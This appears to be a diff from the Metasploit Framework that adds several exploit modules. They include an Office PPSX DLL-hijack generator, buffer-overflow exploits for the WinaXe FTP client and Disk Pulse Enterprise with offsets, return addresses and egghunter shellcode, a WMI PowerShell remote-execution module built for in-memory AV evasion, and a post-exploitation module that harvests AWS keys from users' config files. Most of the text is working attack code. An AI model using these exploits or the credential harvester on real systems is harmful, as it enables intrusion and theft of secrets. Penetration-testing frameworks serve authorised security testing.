# {ecabafc9-7f19-11d2-978e-0000f8757e2a}
'CLSID' => "\xC9\xAF\xAB\xEC\x19\x7F\xD2\x11\x97\x8E\x00\x00\xF8\x75\x7E\x2A"
}
],
[
'Shockwave Flash Object / Windows 10 / Office 2013 (APSB15-28)',
{
'DLL' => 'spframe.dll',
# {D27CDB6E-AE6D-11cf-96B8-444553540000}
'CLSID' => "\x6E\xDB\x7C\xD2\x6D\xAE\xCF\x11\x96\xB8\x44\x45\x53\x54\x00\x00"
}
],
[
'Windows Authentication UI / Windows 10 / Office 2013 - 2016 (MS15-132)',
{
'DLL' => 'wuaext.dll',
# {D93CE8B5-3BF8-462C-A03F-DED2730078BA}
'CLSID' => "\xB5\xE8\x3C\xD9\xF8\x3B\x2C\x46\xA0\x3F\xDE\xD2\x73\x00\x78\xBA"
}
],
[
'Shutdown UX / Windows 10 / Office 2016 (MS15-132)',
{
'DLL' => 'wuaext.dll',
# {14ce31dc-abc2-484c-b061-cf3416aed8ff}
'CLSID' => "\xDC\x31\xCE\x14\xC2\xAB\x4C\x48\xB0\x61\xCF\x34\x16\xAE\xD8\xFF"
}
],
[
'MapUpdateTask Tasks / Windows 10 / Office 2016 (MS16-014)',
{
'DLL' => 'phoneinfo.dll',
# {B9033E87-33CF-4D77-BC9B-895AFBBA72E4}
'CLSID' => "\x87\x3E\x03\xB9\xCF\x33\x77\x4D\xBC\x9B\x89\x5A\xFB\xBA\x72\xE4"
}
],
[
'Microsoft Visio 2010 / Windows 7 (MS16-070)',
{
'DLL' => 'msoutls.dll',
# 6C92B806-B900-4392-89F7-2ED4B4C23211}
'CLSID' => "\x06\xB8\x92\x6C\x00\xB9\x92\x43\x89\xF7\x2E\xD4\xB4\xC2\x32\x11"
}
],
[
'Event Viewer Snapin / Windows Vista - 7 / Office 2007 - 2013 (MS15-132)',
{
'DLL' => 'elsext.dll',
# {394C052E-B830-11D0-9A86-00C04FD8DBF7}
'CLSID' => "\x2E\x05\x4C\x39\x30\xB8\xD0\x11\x9A\x86\x00\xC0\x4F\xD8\xDB\xF7"
}
],
[
'OLE DB Provider for Oracle / Windows Vista - 7 / Office 2007 - 2013 (MS16-014)',
{
'DLL' => 'oci.dll',
# {e8cc4cbf-fdff-11d0-b865-00a0c9081c1d}
'CLSID' => "\xBF\x4C\xCC\xE8\xFF\xFD\xD0\x11\xB8\x65\x00\xA0\xC9\x08\x1C\x1D"
}
],
[
'Windows Mail Find People / Windows Vista / Office 2010 (MS16-025)',
{
'DLL' => 'wab32res.dll',
# {32714800-2E5F-11d0-8B85-00AA0044F941}
'CLSID' => "\x00\x48\x71\x32\x5F\x2E\xD0\x11\x8B\x85\x00\xAA\x00\x44\xF9\x41"
}
],
[
'NPS Datastore server / Windows Vista / Office 2010 (MS16-014)',
{
'DLL' => 'iasdatastore2.dll',
# {48da6741-1bf0-4a44-8325-293086c79077}
'CLSID' => "\x41\x67\xDA\x48\xF0\x1B\x44\x4A\x83\x25\x29\x30\x86\xC7\x90\x77"
}
],
[
'BDA MPEG2 Transport Information Filter / Windows Vista / Office 2010 (MS16-014)',
{
'DLL' => 'ehTrace.dll',
# {FC772AB0-0C7F-11D3-8FF2-00A0C9224CF4}
'CLSID' => "\xB0\x2A\x77\xFC\x7F\x0C\xD3\x11\x8F\xF2\x00\xA0\xC9\x22\x4C\xF4"
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Dec 8 2015',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx']),
], self.class)
end
def exploit
if target.name == 'All'
targets = @targets
else
targets = [ target ]
end
@arch.each do |a|
exploit_regenerate_payload('win', a, nil)
targets.each do |t|
if t.name == 'All'
next
end
print_status("Using target #{t.name}")
dll_name = t['DLL']
if target.name == 'All'
ppsx_name = t.name.split(/\//).first + ".ppsx"
else
ppsx_name = datastore['FILENAME']
end
print_status("Creating the payload DLL (#{a})...")
opts = {}
opts[:arch] = [ a ]
dll = generate_payload_dll(opts)
dll_path = store_file(dll, a, dll_name)
print_good("#{dll_name} stored at #{dll_path}, copy it to a remote share")
print_status("Creating the PPSX file...")
ppsx = get_ppsx(t['CLSID'])
ppsx_path = store_file(ppsx, a, ppsx_name)
print_good("#{ppsx_name} stored at #{ppsx_path}, copy it to a remote share")
end
end
end
def store_file(data, subdir, filename)
ltype = "exploit.fileformat.#{self.shortname}"
if ! ::File.directory?(Msf::Config.local_directory)
FileUtils.mkdir_p(Msf::Config.local_directory)
end
subdir.gsub!(/[^a-z0-9\.\_\-]+/i, '')
if ! ::File.directory?(Msf::Config.local_directory + "/" + subdir)
FileUtils.mkdir_p(Msf::Config.local_directory + "/" + subdir)
end
if filename and not filename.empty?
if filename =~ /(.*)\.(.*)/
ext = $2
fname = $1
else
fname = filename
end
else
fname = "local_#{Time.now.utc.to_i}"
end
fname = ::File.split(fname).last
fname.gsub!(/[^a-z0-9\.\_\-]+/i, '')
fname << ".#{ext}"
path = File.join(Msf::Config.local_directory + "/" + subdir, fname)
full_path = ::File.expand_path(path)
File.open(full_path, "wb") { |fd| fd.write(data) }
report_note(:data => full_path.dup, :type => "#{ltype}.localpath")
full_path.dup
end
def create_ole(clsid)
ole_tmp = Rex::Quickfile.new('ole')
stg = Rex::OLE::Storage.new(ole_tmp.path, Rex::OLE::STGM_WRITE)
stm = stg.create_stream("\x01OLE10Native")
stm.close
directory = stg.instance_variable_get(:@directory)
directory.each_entry do |entry|
if entry.instance_variable_get(:@_ab) == 'Root Entry'
clsid = Rex::OLE::CLSID.new(clsid)
entry.instance_variable_set(:@_clsId, clsid)
end
end
# write to disk
stg.close
ole_contents = File.read(ole_tmp.path)
ole_tmp.close
ole_tmp.unlink
ole_contents
end
def get_ppsx(clsid)
path = ::File.join(Msf::Config.data_directory, 'exploits', 'office_ole_multiple_dll_hijack.ppsx')
fd = ::File.open(path, "rb")
data = fd.read(fd.stat.size)
fd.close
ppsx = Rex::Zip::Archive.new
Zip::InputStream.open(StringIO.new(data)) do |zis|
while entry = zis.get_next_entry
ppsx.add_file(entry.name, zis.read)
end
end
ppsx.add_file('/ppt/embeddings/oleObject1.bin', create_ole(clsid))
ppsx.pack
end
end

View File

@ -0,0 +1,71 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::FtpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'WinaXe 7.7 FTP Client Remote Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the WinaXe 7.7 FTP client.
This issue is triggered when a client connects to the server and is
expecting the Server Ready response.
},
'Author' =>
[
'Chris Higgins', # msf Module -- @ch1gg1ns
'hyp3rlix' # Original discovery
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '40693'],
[ 'URL', 'http://hyp3rlinx.altervista.org/advisories/WINAXE-FTP-CLIENT-REMOTE-BUFFER-OVERFLOW.txt' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a\x0d"
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal',
{
'Offset' => 2065,
'Ret' => 0x68017296 # push esp # ret 0x04 WCMDPA10.dll
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Nov 03 2016',
'DefaultTarget' => 0))
end
def on_client_unknown_command(c, _cmd, _arg)
c.put("200 OK\r\n")
end
def on_client_connect(c)
print_status("Client connected...")
sploit = rand_text(target['Offset'])
sploit << [target.ret].pack('V')
sploit << make_nops(10)
sploit << payload.encoded
sploit << make_nops(20)
c.put("220" + sploit + "\r\n")
c.close
end
end

View File

@ -0,0 +1,120 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Egghunter
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Disk Pulse Enterprise Login Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Disk Pulse Enterprise
9.0.34. If a malicious user sends a malicious HTTP login request,
it is possible to execute a payload that would run under the Windows
NT AUTHORITY\SYSTEM account. Due to size constraints, this module
uses the Egghunter technique.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Chris Higgins', # msf Module -- @ch1gg1ns
'Tulpa Security' # Original discovery -- @tulpa_security
],
'References' =>
[
[ 'EDB', '40452' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d\x26"
},
'Targets' =>
[
[ 'Disk Pulse Enterprise 9.0.34',
{
'Ret' => 0x10013AAA, # pop ebp # pop ebx # ret 0x04 - libspp.dll
'Offset' => 12600
}
],
],
'Privileged' => true,
'DisclosureDate' => 'Oct 03 2016',
'DefaultTarget' => 0))
register_options([Opt::RPORT(80)], self.class)
end
def check
res = send_request_cgi({
'uri' => '/',
'method' => 'GET'
})
if res and res.code == 200 and res.body =~ /Disk Pulse Enterprise v9\.0\.34/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
connect
eggoptions =
{
:checksum => true,
:eggtag => "w00t"
}
print_status("Generating exploit...")
sploit = "username=admin"
sploit << "&password=aaaaa\r\n"
# Would like to use generate_egghunter(), looking for improvement
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
sploit << rand_text(target['Offset'] - payload.encoded.length)
sploit << "w00tw00t"
sploit << payload.encoded
sploit << make_nops(70)
sploit << rand_text(1614)
# Would like to use generate_seh_record(), looking for improvement
sploit << "\x90\x90\xEB\x0B"
sploit << "\x33\xA3\x01\x10"
sploit << make_nops(20)
sploit << egghunter
sploit << make_nops(7000)
# Total exploit size should be 21747
print_status("Total exploit size: " + sploit.length.to_s)
print_status("Triggering the exploit now...")
print_status("Please be patient, the egghunter may take a while...")
res = send_request_cgi({
'uri' => '/login',
'method' => 'POST',
'content-type' => 'application/x-www-form-urlencoded',
'content-length' => '17000',
'data' => sploit
})
handler
disconnect
end
end

View File

@ -0,0 +1,188 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/post/windows/powershell'
require 'msf/core/post/windows/priv'
require 'msf/core/exploit/powershell/dot_net'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Windows::Powershell
include Msf::Exploit::Powershell::DotNet
include Msf::Post::Windows::Priv
def initialize(info={})
super(update_info(info,
'Name' => "Authenticated WMI Exec via Powershell",
'Description' => %q{
This module uses WMI execution to launch a payload instance on a remote machine.
In order to avoid AV detection, all execution is performed in memory via psh-net
encoded payload. Persistence option can be set to keep the payload looping while
a handler is present to receive it. By default the module runs as the current
process owner. The module can be configured with credentials for the remote host
with which to launch the process.
},
'License' => MSF_LICENSE,
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' => { 'Space' => 8192 },
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [ [ 'Universal', {} ] ],
'DefaultTarget' => 0,
'DisclosureDate'=> "Aug 19 2012"
))
register_options(
[
OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]),
OptString.new('USERNAME', [false, "Username to authenticate as"]),
OptString.new('PASSWORD', [false, "Password to authenticate with"]),
OptString.new('DOMAIN', [false, "Domain or machine name"]),
], self.class)
register_advanced_options(
[
OptBool.new('PowerShellPersist', [false, 'Run the payload in a loop']),
OptBool.new('RunRemoteWow64', [
false,
'Execute powershell in 32bit compatibility mode, payloads need native arch',
false
]),
], self.class)
end
def build_script
run_opts = {}
run_opts[:username] = datastore['USERNAME']
run_opts[:domain] = datastore['DOMAIN'] || '.'
run_opts[:password] = datastore['PASSWORD']
# End of file marker
eof = Rex::Text.rand_text_alpha(8)
env_suffix = Rex::Text.rand_text_alpha(8)
# Create base64 encoded payload
psh_payload_raw = Msf::Util::EXE.to_win32pe_psh_reflection(framework, payload.raw)
if datastore['PowerShellPersist']
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
sleep_time = rand(5)+5
psh_payload = "function #{fun_name}{#{psh_payload}};while(1){Start-Sleep -s #{sleep_time};#{fun_name};1}"
end
psh_payload = compress_script(psh_payload_raw, eof)
# WMI exec function - this is going into powershell.rb after pull 701 is commited
script = ps_wmi_exec(run_opts)
# Build WMI exec calls to every host into the script to reduce PS instances
# Need to address arch compat issue here, check powershell.exe arch, check pay arch
# split the hosts into wow64 and native, and run each range separately
ps_bin = datastore['RunRemoteWow64'] ? 'cmd /c %windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
# for whatever reason, passing %systemroot% instead of 'C:\windows' fails
if datastore["RHOSTS"]
# Iterate through our hosts list adding a call to the WMI wrapper for each.
# This should learn to differentiate between hosts and call WOW64 as appropriate,
# as well as putting the payload into a variable when many hosts are hit so the
# uploaded script is not bloated since each encoded payload is bulky.
Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |host|
if run_opts[:username] and run_opts[:password]
script << " New-RemoteProcess -rhost \"#{host}\" -login \"#{run_opts[:domain]}\\#{run_opts[:username]}\""
script << " -pass '#{run_opts[:password]}' -cmd \"#{ps_bin} -EncodedCommand #{psh_payload}\";"
else
script << " New-RemoteProcess -rhost \"#{host}\" -cmd \"#{ps_bin} -EncodedCommand #{psh_payload}\";"
end
end
else
print_status('Running Locally')
script = psh_payload_raw
end
return script
end
def exploit
# Make sure we meet the requirements before running the script
unless have_powershell?
fail_with(Failure::BadConfig, 'PowerShell not found')
end
# SYSTEM doesnt have credentials on remote hosts
if is_system? and datastore['RHOSTS']
print_error("Cannot run as local system on remote hosts")
return 0
end
script = build_script
if datastore['Powershell::Post::dry_run']
print_good script
return
end
begin
psh_output = datastore["RHOSTS"] ? psh_exec(script) : psh_exec(script,true,false)
print_good(psh_output)
rescue Rex::TimeoutError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
end
vprint_good('PSH WMI exec is complete.')
end
# Wrapper function for instantiating a WMI win32_process
# class object in powershell.
# Insantiates the [wmiclass] object and configures the scope
# Sets impersonation level and injects credentials as needed
# Configures application startup options to hide the newly
# created window. Adds start-up check for remote proc.
def ps_wmi_exec(opts = {})
ps_wrapper = <<EOS
Function New-RemoteProcess {
Param([string]$rhost,[string]$cmd,[string]$login,[string]$pass)
$ErrorActionPreference="SilentlyContinue"
$proc = [WMIClass]"\\\\$rhost\\root\\cimv2:Win32_Process"
EOS
if opts[:username] and opts[:password]
ps_wrapper += <<EOS
$proc.psbase.Scope.Options.userName = $login
$proc.psbase.Scope.Options.Password = $pass
EOS
end
ps_wrapper += <<EOS
$proc.psbase.Scope.Options.Impersonation = [System.Management.ImpersonationLevel]::Impersonate
$proc.psbase.Scope.Options.Authentication = [System.Management.AuthenticationLevel]::PacketPrivacy
$startup = [wmiclass]"Win32_ProcessStartup"
$startup.Properties['ShowWindow'].value=$False
$remote = $proc.Create($cmd,'C:\\',$startup)
if ($remote.returnvalue -eq 0) {
Write-Host "Successfully launched on $rhost with a process id of" $remote.processid
} else {
Write-Host "Failed to launch on $rhost. ReturnValue is" $remote.ReturnValue
}
}
EOS
return ps_wrapper
end
end
#
# Ideally the methods to create WMI wrapper functions and their callers
# should be in /lib/msf/core/post/windows/powershell/ps_wmi.rb.
#

View File

@ -0,0 +1,108 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
###
#
# MixedNop
# ----------
#
# This class implements a mixed NOP generator for MIPS (big endian)
#
###
class MetasploitModule < Msf::Nop
def initialize
super(
'Name' => 'Better',
'Alias' => 'mipsbe_better',
'Description' => 'Better NOP generator',
'Author' => 'jm',
'License' => MSF_LICENSE,
'Arch' => ARCH_MIPSBE)
register_advanced_options(
[
OptBool.new('RandomNops', [ false, "Generate a random NOP sled", true ])
], self.class)
end
def get_register()
return rand(27) + 1
end
def make_bne(reg)
op = 0x14000000
reg = get_register()
offset = rand(65536)
op = op | ( reg << 21 ) | ( reg << 16 ) | offset
return op
end
def make_or(reg)
op = 0x00000025
op = op | ( reg << 21 ) | ( reg << 11 )
return op
end
def make_sll(reg)
op = 0x00000000
op = op | ( reg << 16 ) | ( reg << 11 )
return op
end
def make_sra(reg)
op = 0x00000003
op = op | ( reg << 16 ) | ( reg << 11 )
return op
end
def make_srl(reg)
op = 0x00000002
op = op | ( reg << 16 ) | ( reg << 11 )
return op
end
def make_xori(reg)
op = 0x38000000
op = op | ( reg << 21 ) | ( reg << 16 )
return op
end
def make_ori(reg)
op = 0x34000000
op = op | ( reg << 21 ) | ( reg << 16 )
return op
end
def generate_sled(length, opts)
badchars = opts['BadChars'] || ''
random = opts['Random'] || datastore['RandomNops']
nop_fn = [ :make_bne, :make_or, :make_sll, :make_sra, :make_srl, :make_xori, :make_ori ]
sled = ''
for i in 1..length/4 do
n = nop_fn.sample
sled << [send(n, get_register())].pack("N*")
end
return sled
end
end

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options'
module MetasploitModule
CachedSize = 1204
CachedSize = 1228
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
@ -81,7 +81,8 @@ module MetasploitModule
"while (($i -gt 0) -and ($pos -lt $nb.Length)) {"\
"$r=$s.Read($nb,$pos,$nb.Length - $pos);"\
"$pos+=$r;"\
"if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}};"\
"if (-not $pos -or $pos -eq 0) {RSC};"\
"if ($nb[0..$($pos-1)] -contains 10) {break}};"\
"if ($pos -gt 0){"\
"$str=$e.GetString($nb,0,$pos);"\
"$is.write($str);start-sleep 1;"\

View File

@ -0,0 +1,96 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Unix
AWS_KEY = 'AWS_ACCESS_KEY_ID'
AWS_SECRET = 'AWS_SECRET_ACCESS_KEY'
S3_KEY = 'access_key'
S3_SECRET = 'secret_key'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'UNIX Gather AWS Keys',
'Description' => %q(
This module will attempt to read AWS configuration files
(.aws/config, .aws//credentials and .s3cfg) for users discovered
on the session'd system and extract AWS keys from within.
),
'License' => MSF_LICENSE,
'Author' => [ 'Jon Hart <jon_hart[at]rapid7.com>' ],
'SessionTypes' => %w(shell meterpreter),
'References' => [
[ 'URL', 'http://s3tools.org/kb/item14.htm' ],
[ 'URL', 'http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html#cli-config-files' ]
]
)
)
end
def get_aws_keys(config_file)
keys_data = []
config_s = cmd_exec("test -r #{config_file} && cat #{config_file}")
return keys_data if config_s.empty?
aws_config = Rex::Parser::Ini.from_s(config_s)
aws_config.each_key do |profile|
# XXX: Ini assumes anything on either side of the = is the key and value
# including spaces, so we need to fix this
profile_config = Hash[aws_config[profile].map { |k, v| [ k.strip, v.strip ] }]
aws_access_key_id = nil
aws_secret_access_key = nil
profile_config.each_pair do |key, value|
if key == AWS_KEY.downcase || key == S3_KEY
aws_access_key_id = value
end
if key == AWS_SECRET.downcase || key == S3_SECRET
aws_secret_access_key = value
end
end
next unless aws_access_key_id || aws_secret_access_key
keys_data << [ config_file, aws_access_key_id, aws_secret_access_key, profile ]
end
keys_data
end
def get_keys_from_files
keys_data = []
vprint_status("Enumerating possible user AWS config files")
# build up a list of aws configuration files to read, including the
# configuration files that may exist (rare)
enum_user_directories.map do |user_dir|
vprint_status("Looking for AWS config/credentials files in #{user_dir}")
%w(.aws/config .aws/credentials .s3cfg).each do |possible_key_file|
this_key_data = get_aws_keys(::File.join(user_dir, possible_key_file))
next if this_key_data.empty?
keys_data <<= this_key_data.flatten
end
end
keys_data
end
def run
keys_data = get_keys_from_files
return if keys_data.empty?
keys_table = Rex::Text::Table.new(
'Header' => "AWS Key Data",
'Columns' => [ 'Source', AWS_KEY, AWS_SECRET, 'Profile' ]
)
keys_data.each do |key_data|
keys_table << key_data
end
print_line(keys_table.to_s)
end
end

View File

@ -116,7 +116,7 @@ class MetasploitModule < Msf::Post
vprint_status("Platform: Python [fallback]")
end
end
payload_name = datastore['PAYLOAD_OVERWRITE'] if datastore['PAYLOAD_OVERWRITE']
payload_name = datastore['PAYLOAD_OVERRIDE'] if datastore['PAYLOAD_OVERRIDE']
vprint_status("Upgrade payload: #{payload_name}")
if platform.blank?
@ -141,7 +141,7 @@ class MetasploitModule < Msf::Post
case platform
when 'windows'
if session.type == 'powershell'
template_path = File.join(Msf::Config.data_directory, 'templates', 'scripts')
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
psh_payload = case datastore['Powershell::method']
when 'net'
Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload_data)

View File

@ -520,7 +520,14 @@ class Plugin::Nexpose < Msf::Plugin
print_status(" >> Created temporary report configuration ##{report.config_id}") if opt_verbose
# Run the scan
res = site.scanSite()
begin
res = site.scanSite()
rescue Nexpose::APIError => e
nexpose_error_message = e.message
nexpose_error_message.gsub!(/NexposeAPI: Action failed: /, '')
print_error "#{nexpose_error_message}"
return
end
sid = res[:scan_id]
print_status(" >> Scan has been launched with ID ##{sid}") if opt_verbose

View File

@ -7,7 +7,8 @@ RSpec.describe Msf::Post::Windows::MSSQL do
let(:subject) do
mod = double(Module.new)
mod.extend described_class
stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, :print_error, :print_warning ]
stubs = [ :vprint_status, :print_status, :vprint_good, :print_good,
:print_error, :vprint_error, :print_bad, :vprint_bad, :print_warning ]
stubs.each { |meth| allow(mod).to receive(meth) }
allow(mod).to receive(:service_info).and_return({})
mod

View File

@ -36,7 +36,8 @@ RSpec.describe Msf::Post::Windows::Runas do
let(:subject) do
mod = double(Module.new)
mod.extend described_class
stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, :print_error ]
stubs = [ :vprint_status, :print_status, :vprint_good, :print_good,
:print_error, :vprint_error, :print_bad, :vprint_bad ]
stubs.each { |meth| allow(mod).to receive(meth) }
allow(mod).to receive_message_chain("session.railgun.kernel32").and_return(kernel32)
allow(mod).to receive_message_chain("session.railgun.advapi32").and_return(advapi32)

View File

@ -17,6 +17,10 @@ RSpec.shared_context 'Msf::UIDriver' do
@error ||= []
@error.concat string.split("\n")
end
allow(driver).to receive(:print_bad).with(kind_of(String)) do |string|
@error ||= []
@error.concat string.split("\n")
end
}
end
end

View File

@ -2,8 +2,9 @@ RSpec.shared_examples_for 'Msf::Module::UI::Message' do
it_should_behave_like 'Msf::Module::UI::Message::Verbose'
it { is_expected.to respond_to :print_error }
it { is_expected.to respond_to :print_bad }
it { is_expected.to respond_to :print_good }
it { is_expected.to respond_to :print_prefix }
it { is_expected.to respond_to :print_status }
it { is_expected.to respond_to :print_warning }
end
end

View File

@ -1,6 +1,7 @@
RSpec.shared_examples_for 'Msf::Module::UI::Message::Verbose' do
it { is_expected.to respond_to :vprint_error }
it { is_expected.to respond_to :vprint_bad }
it { is_expected.to respond_to :vprint_good }
it { is_expected.to respond_to :vprint_status }
it { is_expected.to respond_to :vprint_warning }
end
end